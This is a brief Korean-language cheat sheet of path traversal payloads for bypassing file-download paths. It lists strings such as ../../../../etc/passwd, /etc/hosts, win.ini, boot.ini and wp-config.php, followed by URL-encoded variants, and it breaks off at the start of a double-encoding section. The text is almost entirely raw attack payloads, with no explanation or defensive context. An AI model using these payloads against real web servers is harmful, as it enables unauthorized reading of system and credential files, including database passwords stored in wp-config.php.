* 파일 다운로드 경로 우회 1) 파일 다운로드 경로 ../../../../etc/passwd ../../../../etc/hosts ../../../../winnt/win.ini ../../../../boot.ini ../../../../wp-config.php 2) 인코딩 ../../../../etc/passwd %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 ../../../../../../../../../etc/hosts 인코딩 %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%68%6f%73%74%73 더블 인코딩 %2..